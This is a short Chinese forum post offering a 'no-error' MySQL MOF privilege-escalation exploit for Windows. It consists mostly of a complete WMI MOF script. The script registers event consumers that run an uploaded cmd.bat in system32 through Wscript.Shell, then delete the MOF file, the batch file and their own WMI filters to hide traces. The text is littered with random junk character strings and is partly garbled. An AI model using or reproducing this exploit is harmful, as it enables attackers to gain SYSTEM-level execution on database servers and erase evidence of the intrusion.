Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。
  g  \' {& t6 \7 B
, u; w2 @& F7 k) L0 r* F这个sql提权MOF需要运行 system下的文件，不能定义路径。
$ K. s; ^( Z( q" I需要将要运行的命令写入到bat上传到system32目录，然后执行。
1 v8 D+ F5 o8 Z
#pragma
                        namespace("\\\\.\\root\\cimv2")
                        class
                        MyClass547
( @2 k) _; S# Y0 Q                        {           [key]
                        string
                        Name;
  h6 ]6 p7 s1 h0 L5 k                        };
                        class
$ n* T! S% t: F# C                        ActiveScriptEventConsumer
8 s! M5 M# s9 T" H8 z! [& _# J                        : __EventConsumer {          [key]
# s$ s, t& [$ u  i7 y5 n) i" y                        string
* \# Y) d: R2 T# L                        Name;           [not_null]
                        string
' M1 G9 I/ e8 x: M* X5 S; S0 P/ t                        ScriptingEngine;           string
! ~& S& p. O# U                        ScriptFileName;           [template]
                        string
; k$ V& @0 Z8 o                        ScriptText;         uint32 KillTimeout;
                        }; instance of __Win32Provider as $P {
                        Name
                        =
% r8 f7 X! d8 X2 y' h* N                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
# n' g* m; o" @/ o- T5 _  c                        PerUserInitialization
                        = TRUE;
                        }; instance of __EventConsumerProviderRegistration {         Provider
( i6 Q" U# m* ^: x6 ]  \# m                        = $P;         ConsumerClassNames
                        =
+ @" V% ]+ q5 g7 o+ W                        {"ActiveScriptEventConsumer"};
+ T5 G* D. f; R7 M9 D6 n, O% G" t                        };
" ~# v# z( e1 v9 \8 W                        Instance of ActiveScriptEventConsumer
                        as $cons {         Name
                        =
                        "ASEC";         ScriptingEngine
% z8 }- w2 W' H7 a! W! t                        =
                        "JScript";         ScriptText
" q3 j: ^! J) y8 o$ ]                        =
( Z# f# q7 _+ M# ~  t& B9 X                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
. [) R! d7 n7 v8 ]+ l                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
                        =
" t& U6 R. f+ g7 P' Z) p2 n                        "qndASEC";         ScriptingEngine
9 F3 I3 X: w8 w8 c& S7 ^                        =
                        "JScript";         ScriptText
3 G# |1 s/ S! f                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
                        }; instance of __EventFilter as $Filt {         Name
                        =
                        "instfilt";         Query
                        =
1 @4 R- s4 d8 r' U2 x8 i                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
; q) s0 |4 |' b$ I3 y) ]                        =
! ]& H/ I3 ~$ Q: O* R& G                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
, v) \; Z) z( f: P                        "qndfilt";         Query
4 E( U1 f! d* M2 a7 |                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
$ e/ }% g5 F7 T0 g4 b8 s# L" I                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
; g2 P+ l9 P! `                        = $cons;         Filter
6 r" M, n' `* U6 X  v" `                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
- _! S3 W3 e; U  `: D! G                        = $cons2;         Filter
1 ~3 B7 T# z" d& i1 W* D                        = $Filt2;
                        }; instance of MyClass547
                        as $MyClass {         Name
' O$ P/ U+ ]; q7 B                        =
                        "ClassConsumer";
3 @& U4 R/ M; k7 _. }) X6 q' v                        };